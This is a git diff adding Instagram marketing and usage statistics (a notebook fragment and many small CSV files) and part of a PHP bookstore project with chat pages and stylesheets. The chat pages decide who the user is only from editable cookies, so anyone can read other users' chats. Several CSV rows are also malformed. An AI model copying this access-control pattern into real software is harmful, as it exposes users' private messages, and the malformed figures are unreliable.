one post from Kylie Jenner was interacted with 4.6 million times (Socialbakers)\n", + "\n", + "### [48] . In Q3 2020, influencers posts mentioning BT were interacted with more than 175,000 times more than \n", + "### posts originating from the brand (Socialbakers)\n", + "\n", + "### [49]In 2019,255 million of total 1.4 billion influencer marketing spend on Instagram went on fake followers (Instascreener via Digiday)\n", + "\n", + "### [50] . Only 11.1% of marketers would choose Instagram as the most data secure channel (Takumi)\n", + "\n", + "### [51] . 66% of people say they use Instagram specifically to interact with brands; 53% see they would follow a \n", + "### brand for its content alone (Facebook)\n", + "\n", + "### [52] . Nike Football was the brand account with the most interactions over 2018, with 2 million\n", + "\n", + "### [53] . 2 million advertisers use Instagram on a monthly basis (Talkwalker via Marketing Dive)\n", + "\n", + "### [54] . Number of advertisers using Story ads at 4 million (TechCrunch)\n", + "\n", + "### [55] . 3 million of Facebook’s total advertisers use Facebook, Instagram, and Messenger Stories combined \n", + "### (TechCrunch)\n", + "\n", + "### [56] . Between Q1 2019 and Q3 2020, Instagram main feed ads accounted 18.7-21.2% of ad spend \n", + "### (Socialbakers)\n", + "\n", + "### [57] . 10.4% of Facebook ad spending went on Stories in Q3 2020, and 17.5% in main feed ads (Socialbakers)\n", + "\n", + "### [58] . Audience size of 50 biggest brands 35% larger on Instagram than Facebook, with engagement 22x \n", + "### greater; despite this, only 38.1% of brands posts are made on Instagram (Socialbakers)\n", + "\n", + "### [59] . In Q3 2020 Instagram feed ad CPC fell by 20.1% year-on-year, and Stories by 15.2% (to around 0.45 and \n", + "### 0.38 dollars) and ; Q2 saw a 37% decline in both (Socialbakers)\n", + "\n", + "### [60] . In Q3 2020, Instagram feed ad CPM fell by 11.9%, and stories by 8.4% (to around 1.40 and 0.75 dollars); Q2 saw a 28% decline in both (Socialbakers)\n", + "\n", + "### [61] . CPC for Instagram feed ads is around 0.45, and for Stories 0.38 (Socialbakers)\n", + "\n", + "### [62] . CPM for Instagram feed ads is around 1.40, and for Stories around 0.80 (Socialbakers)\n", + "\n", + "### [63] . It is estimated that Instagram brought in 2 billion in ad revenue in Q2 2018; this was predicted to reach \n", + "### as much as 7 billion by Q4 2020 (Recode)\n", + "\n", + "### ]64] . Instagram ad revenue as a share of Facebook ad revenue was predicted to rise from 9% in 2017 to 30% \n", + "### by 2020 (Recode)\n", + "\n", + "### [65] . Instagram valued at 100 billion by Bloomberg in 2018 (Bloomberg)" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "#from PIL import Image # to load images\n", + "#from IPython.display import display # to display images\n", + "\n", + "#pil_im = Image.open('signature2.jpg')\n", + "#display(pil_im)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Project by : K.Sasikalyan" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.6" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS1.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS1.csv new file mode 100644 index 00000000..74c75804 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS1.csv @@ -0,0 +1,9 @@ +Influencer_marketing_platform,Percentage_of_marketers +Instagram,55 +YouTube,58 +online ads,43 +TikTok,35 +Tv ads,29 +OOH ads,20 +Twitch,20 +Triller,10 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS10.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS10.csv new file mode 100644 index 00000000..4478c603 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS10.csv @@ -0,0 +1,21 @@ +Category,(16/March/2020),(18/May/2020) +Insurance,1650,1882 +Mobile phones,11076,11573 +Recipes,20802,21735 +Televisions,2631,2718 +Politics,15190,15411 +Environmentalism,2131,2161 +Healthcare,78694,79601 +Newspapers,28135,28258 +Baking,6586,6600 +Engineering,29648,29571 +Parties,41626,26829 +Sunglasses,3608,2663 +Music festivals,3225,2443 +Performing arts,17653,13377 +Vacations,18531,14284 +Wine,5661,4577 +Live events,137115,111187 +Hotels,15863,12935 +Seafood,1667,1366 +Nightclubs,5647,4641 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS11.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS11.csv new file mode 100644 index 00000000..568be0de --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS11.csv @@ -0,0 +1,6 @@ +Follower_count,Instagram(%),TikTok(%),Twitter(%) +<1000,7.2,9.4,1.4 +<5000,5.3,8.6,1.2 +<10000,3.7,8.1,0.6 +<100000,2.1,7.2,0.4 +100000+,1.15.3,0.3 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS2.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS2.csv new file mode 100644 index 00000000..0bd78295 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS2.csv @@ -0,0 +1,6 @@ +Influencer_marketing_platform, Percentage_of_marketers +Instagram,18 +Online ads,21 +YouTube,18 +Tv ads,10 +TikTok,6 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS3.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS3.csv new file mode 100644 index 00000000..f7cf8a47 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS3.csv @@ -0,0 +1,11 @@ +Influencer,Average_post_cost(USD thousands) +Dwayne Johnson,1015 +Kylie Jenner,986 +Cristiano Ronaldo,889 +Kim Kardashian,858 +Ariana Grande,853 +Selena Gomez,848 +Beyoncé Knowles,770 +Justin Bieber,747 +Taylor Swift,722 +Neymar Jr,704 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS4.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS4.csv new file mode 100644 index 00000000..ce591a09 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS4.csv @@ -0,0 +1,9 @@ +Influencer_channel, Proportion_of_users_engaging_weekly +Instagram,94 +YouTube,95 +TikTok,95 +Instagram,94 +Snapchat,92 +Pinterest,87 +Twitch,83 +Triller,75 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS5.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS5.csv new file mode 100644 index 00000000..e7b8b2c0 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS5.csv @@ -0,0 +1,2 @@ +(2019)Instagram,(2019)Facebook,Total(2019)Facebook_revenue +20,70,71 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS6.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS6.csv new file mode 100644 index 00000000..d3e3b466 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS6.csv @@ -0,0 +1,11 @@ +Influencer, USD +Fashion Nova,40072 +Flat Tummy Co,13586 +Ciroc,11837 +Walmart,9378 +PrettyLittleThing,7653 +Luc Belaire & Bumbu,6766 +Carolina Lemke,6237 +BOOMBOD,5980 +Calvin Klein,5370 +SugarBearHair,5073 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS7.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS7.csv new file mode 100644 index 00000000..ca125e27 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS7.csv @@ -0,0 +1,11 @@ +Brand ,Proportion of fake interactions +Febreze,54 +Baby Einstein,51 +Carefree Liners,51 +Wines of Sicily,50 +Albion Fit,48 +Disneyland,47 +Kroger,46 +Ellie Activewear,46 +Green Chef,45 +Zappos,45 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS8.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS8.csv new file mode 100644 index 00000000..da2a2b3f --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS8.csv @@ -0,0 +1,8 @@ +Q1 2018,163 +Q2 2018,171 +Q3 2018,174 +Q4 2018,235 +Q1 2019,265 +Q2 2019,314 +Q3 2019,340 +Q4 2019,434 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS9.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS9.csv new file mode 100644 index 00000000..67d9cf66 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Marketing Statistics/MS9.csv @@ -0,0 +1,7 @@ +Brands,Mentions,Influencers +Ideal of Sweden,1949,1301 +Walmart,1068,720 +Pretty Little Thing,1018,351 +Question Nutrition,616,286 +Michelob Ultra,395,271 +L’Oréal Paris,327,257 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG1.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG1.csv new file mode 100644 index 00000000..9a195b76 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG1.csv @@ -0,0 +1,13 @@ +Date(month-year),Monthly_active_users_millions +Jan-13,90 +Feb-13,100 +Jun-13,130 +Sep-13,150 +Mar-14,200 +Dec-14,300 +Sep-15,400 +Jun-15,500 +Dec-16,600 +Apr-17,700 +Sep-17,800 +Jun-18,1000 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG10.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG10.csv new file mode 100644 index 00000000..5e377aa9 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG10.csv @@ -0,0 +1,11 @@ +App_name,Monthly_active_users(billions) +Facebook,2.7 +YouTube,2 +WhatsApp,2 +Facebook Messenger,1.3 +WeChat,1.21 +Instagram,1.16 +TikTok,0.79 +QQ,0.65 +Douyin,0.6 +Sina Weibo,0.52 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG11.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG11.csv new file mode 100644 index 00000000..c1e1f19a --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG11.csv @@ -0,0 +1,5 @@ +App_name,Monthly_active_users(billions) +Instagram,1 +Facebook,2.7 +WhatsApp,2 +Messenger,1.3 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG12.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG12.csv new file mode 100644 index 00000000..64f6ab11 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG12.csv @@ -0,0 +1,21 @@ +Country,(%)of_Instagram_users_among_total_internet_users_aged(16-64) +Turkey,88 +Indonesia,86 +Brazil,84 +Argentina,80 +Malaysia,76 +Saudi Arabia,76 +Portugal,74 +Nigeria,74 +Mexico,72 +Egypt,70 +Philippines,70 +Kenya,69 +UAE,69 +Sweden,69 +India,67 +Thailand,67 +Spain,67 +Italy,67 +South Africa,67 +Singapore,64 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG13.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG13.csv new file mode 100644 index 00000000..7fc6bfe5 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG13.csv @@ -0,0 +1,11 @@ +Interest,Percentage_of_users_interested +Travel45 +Music,44 +Food & Drink,43 +Fashion,42 +Movies,41 +Health & Fitness,35 +Technology32 +Skin care/Cosmetics,30 +Sports,30 +News,28 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG14.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG14.csv new file mode 100644 index 00000000..d02e673a --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG14.csv @@ -0,0 +1,5 @@ +FeatureP,ercentage_of_users +Watched a video clip,38 +Created/viewed a story,27 +Watched IGTV,23 +Used live feature,11 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG2.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG2.csv new file mode 100644 index 00000000..d8863abf --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG2.csv @@ -0,0 +1,8 @@ +Date (month/year),Daily users_millions +Oct-16,100 +Jan-17,150 +Apr-17,200 +Jun-17,250 +Oct-17,300 +Jun-18,400 +Jan-19,500 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG3.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG3.csv new file mode 100644 index 00000000..fb81e0c5 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG3.csv @@ -0,0 +1,16 @@ +Country, Monthly_active_users_millions +US,140 +India,120 +Brazil,95 +Indonesia,78 +Russia,54 +Turkey,44 +Japan,37 +Mexico,31 +UK,28 +Germany,25 +Italy,24 +France,22 +Argentina,20 +Spain,20 +South Korea,16 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG4.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG4.csv new file mode 100644 index 00000000..9132474d --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG4.csv @@ -0,0 +1,9 @@ +Age, All users(%),Female,Male +All ages,,51,49.1 +13-17,7.1,3.6,3.5 +18-24,29.6,13.9,15.7 +25-34,33.1,16.5,16.6 +35-44,15.9,8.6,7.3 +45-54,8.3,4.8,3.5 +55-64,3.8,2.3,1 +65+,2.3,1.3,1 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG5.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG5.csv new file mode 100644 index 00000000..db9b0030 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG5.csv @@ -0,0 +1,21 @@ +Account owner,Followers(millions) +Cristiano Ronaldo,244 +Ariana Grande,208 +Dwayne ‘The Rock’ Johnson,205 +Kylie Jenner,202 +Selena Gomez,196 +Kim Kardashian West,192 +Lionel Messi,170 +Beyoncé,157 +Justin Bieber,152 +Neymar Jr,144 +Kendall Jenner,143 +Taylor Swift,141 +Jennifer Lopez,134 +Khloé Kardashian,123 +Miley Cyrus,117 +Katy Perry,108 +Kourtney Kardashian,104 +Kevin Hart,100 +Demi Lovato,94 +Ellen DeGeneres,92 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG6.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG6.csv new file mode 100644 index 00000000..47135620 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG6.csv @@ -0,0 +1,6 @@ +Age, Percentage_using_app_multiple_times_daily(%) +18-24,67 +25-34,60 +35-44,49 +45-54,43 +55+,31 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG8.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG8.csv new file mode 100644 index 00000000..22db7ba0 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG8.csv @@ -0,0 +1,8 @@ +Influencer_platform,Percentage_of_users(%) +Instagram,37 +YouTube,47 +Pinterest,17 +Snapchat,15 +TikTok,14 +Twitch,8 +Triller,2 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG9.csv b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG9.csv new file mode 100644 index 00000000..579771d4 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Instagram-Data-Analysis/Usage Statistics/IG9.csv @@ -0,0 +1,10 @@ +Industry,Percentage_of_total_interactions_Q3_2020 +Fashion,24.7 +Ecommerce,20.3 +Beauty,11.1 +Auto,9.4 +Retail,9.2 +Electronics,5 +Services,4.1 +Sporting Goods,3.7 +Others,12.4 \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/.vscode/settings.json b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/.vscode/settings.json new file mode 100644 index 00000000..b242572e --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/.vscode/settings.json @@ -0,0 +1,5 @@ +{ + "githubPullRequests.ignoredPullRequestBranches": [ + "main" + ] +} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo.jpg b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo.jpg new file mode 100644 index 00000000..b51a739c Binary files /dev/null and b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo.jpg differ diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo2.png b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo2.png new file mode 100644 index 00000000..abf0a951 Binary files /dev/null and b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/Demo2.png differ diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/logo.jpg b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/logo.jpg new file mode 100644 index 00000000..cf85bba3 Binary files /dev/null and b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/logo.jpg differ diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/menu-icon-white.png b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/menu-icon-white.png new file mode 100644 index 00000000..d3cec056 Binary files /dev/null and b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/menu-icon-white.png differ diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/thumbnail.png b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/thumbnail.png new file mode 100644 index 00000000..7ab4f5cf Binary files /dev/null and b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/Resources/thumbnail.png differ diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chat.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chat.php new file mode 100644 index 00000000..18c27fa9 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chat.php @@ -0,0 +1,133 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + $senderid = $_COOKIE['sender_id']; + $reciverid = $uid; + + $query_extract_chats = $link->prepare('SELECT * FROM `chat` WHERE `sender_id` = (?) AND `reciver_id` = (?) OR `sender_id` = (?) AND `reciver_id` = (?)'); + $query_extract_chats -> bind_param("iiii", $senderid,$reciverid,$reciverid,$senderid); + $query_extract_chats->execute(); + $res_query_extract_chats = $query_extract_chats->get_result(); + // $all_chat = mysqli_fetch_array($res_query_extract_chats); + // print_r($all_chat); +?> + + + + + + + + + + + + + + + + + + + + + + + Dashboard + + + + + +


+
+
+
+ prepare('SELECT * FROM `users` WHERE `user_id` = (?)'); + $query -> bind_param("s", $_COOKIE['sender_id']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + + ?> +

+
+
+
+
+ +
+

+
+ +
+

+
+ + +
+
+ +
+
+ + + +
+
+ +
+
+
+ +

+ +

+ + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chats.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chats.php new file mode 100644 index 00000000..abd3235a --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/chats.php @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + + + + + + + + Chats + + + + + +




+ +
+
+
+
+ +
+
+
+ +
+ +

+
+ prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + $chats = $link->prepare("SELECT * FROM `chat` WHERE `reciver_id` = ?"); + $chats -> bind_param("i",$uid); + + + $myarray = array(); + + + + if ($chats->execute()) { + $res = $chats->get_result(); + + if (mysqli_num_rows($res) > 0) { + + while ($chat_users = mysqli_fetch_array($res)) { + if (in_array($chat_users['sender_id'], $myarray)){ + + } + else{ + array_push($myarray,$chat_users['sender_id']); + $queryudetails = $link->prepare('SELECT * FROM `users` WHERE `user_id` = (?)'); + $queryudetails -> bind_param("i",$chat_users['sender_id']); + $queryudetails->execute(); + $res_queryudetails = $queryudetails->get_result(); + $row_queryudetails = mysqli_fetch_array($res_queryudetails); + ?> +
+ +
+
+
+

+
+
+
+ + + +
+
+
+
+
+
+ +
+ +
+ + + + + + + +
+ +
+ + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/connection.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/connection.php new file mode 100644 index 00000000..ff58945b --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/connection.php @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/authstyle.css b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/authstyle.css new file mode 100644 index 00000000..8cc3f6aa --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/authstyle.css @@ -0,0 +1,166 @@ +/* Background Image */ +body{ + /* background-image: url( Resources/auth-bg.jpg ); + background-repeat: no-repeat; + background-attachment: fixed; + background-size: cover; + background-position: center center; */ + background-color: rgb(241, 241, 241); +} + +/* Log In */ + +.head-msg{ + position: relative; + top: 80px; + text-align: center; +} +.login-bod{ + position: relative; + top: 150px; + background-color: rgb(84,89,95); + padding: 30px; + border-radius: 10px; + box-shadow: 3px 3px 8px 3px grey; + width: 400px; + text-align: center; +} + +#login-btn:hover{ + background-color: white; + color: red; +} +.log-msg{ + font-size: 12px; +} +.form-check-label{ + color: white; +} + +/* Form Effect */ + +.form-control:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} +.acc-btn{ + text-decoration: none; + color: white; +} +.form-check-input:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} +/* +.acc-btn:hover{ + color: red; + font-size: 15px; + transition: 0.4s ease-in-out; +} */ +.acc-btn:visited{ + color: white; +} + +/* Sign IN */ + +.reg-bod{ + + background-color: rgb(84,89,95); + padding: 30px; + border-radius: 10px; + box-shadow: 3px 3px 8px 3px grey; + width: 400px; + text-align: center; +} +#verify-otp-btn{ + border-radius: 8px; + padding: 15px; +} +#verify-otp-btn:hover{ + background-color: white; + color: red; +} +#reg-btn{ + border-radius: 8px; + padding: 15px; +} +#reg-btn:hover{ + background-color: white; + color: red; +} +.reg-msg{ + font-size: 12px; +} +.otp-msg{ + font-size: 12px; +} +.footer{ + height: 20px; + /* background-color: red; */ +} +#back-btn{ + text-decoration: none; + color: white; +} +#back-btn:hover{ + color: red; + font-size: 15px; + transition: 0.4s ease-in-out; +} +#mobile-input-reg{ + padding-top: 1rem; + padding-bottom: 1rem; +} +.iti.iti--allow-dropdown { + display: block; +} +.otp-bod{ + display: none; + position: relative; + top: 150px; + background-color: rgb(84,89,95); + padding: 30px; + border-radius: 10px; + box-shadow: 5px 5px 10px 5px grey; + width: 400px; + text-align: center; +} +.otp-bodni{ + display: none; + position: relative; + top: 150px; + background-color: rgb(84,89,95); + padding: 30px; + border-radius: 10px; + box-shadow: 5px 5px 10px 5px grey; + width: 400px; + text-align: center; +} +.showpassword-container{ + position: absolute; + top: 0; + right: 0; + height: 100%; + text-align: center; + padding: 18px 10px; +} + +@media (max-width: 575.98px) { + .login-bod,.reg-bod,.otp-bod,.otp-bodni{ + width: 300px; + } + .login-bod{ + top: 140px; + } +} +#verify-otp-onmail-btn{ + border-radius: 8px; + padding: 15px; +} +#verify-otp-onmail-btn:hover{ + background-color: white; + color: red; +} +.otp-e-msg{ + font-size: 12px; +} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/headermenu.css b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/headermenu.css new file mode 100644 index 00000000..1ded15c5 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/headermenu.css @@ -0,0 +1,94 @@ +/* To Menu */ +.custom-nav{ + background: transparent; +} +.custom-link{ + color: white; + font-size: 17px; + margin-top: 10px; + margin-left: 40px; + margin-bottom: 10px; + border-bottom: solid 0px white; + transition: border-width 0.2s linear; +} +.custom-link:hover{ + color: white; + /* font-size: 21px; */ + border-width: 5px; + transition: 0.2s linear; + +} +.custom-link:visited{ + color: white; +} +.active{ + color: white; + border-bottom: 5px solid white; +} +.custom-link:active{ + color: white; +} +.nav-bg{ + height: 90px; + background-color: #313a46; + /* background-color: rgb(199, 196, 196); */ +} +#login-link{ + border-radius: 5px; + color: white; + background-color: #198754; + color: white; + font-size: 17px; + margin-top: 10px; + margin-left: 40px; + margin-bottom: 10px; +} +#login-link:hover{ + border: 1px solid #198754; + background: transparent; + color: white; +} +.dropdown-item{ + color: #f8f9fa; + font-size: 14px; +} +.dropdown-item:hover{ + background-color: white; + color: black; +} +.dropdown-item:visited{ + background-color: white; + +} +.dropdown-item:active{ + background-color: white; + color: black; +} +.dropdown-menu{ + background-color: #313a46; +} +.logoutbtn{ + border: none; + background: none; +} +.dropdownactive{ + background-color: white; + color: black; +} +.active-d{ + background-color: white; + color: black; +} + +.form-control:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} +.acc-btn{ + text-decoration: none; + color: white; +} +.form-check-input:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/style.css b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/style.css new file mode 100644 index 00000000..307005e5 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/css/style.css @@ -0,0 +1,226 @@ +.single-view{ + box-shadow: 2px 2px 5px 2px grey; + padding: 20px; + border-radius: 10px; + +} +.jobtitle{ + font-size: 20px; + color: black; +} 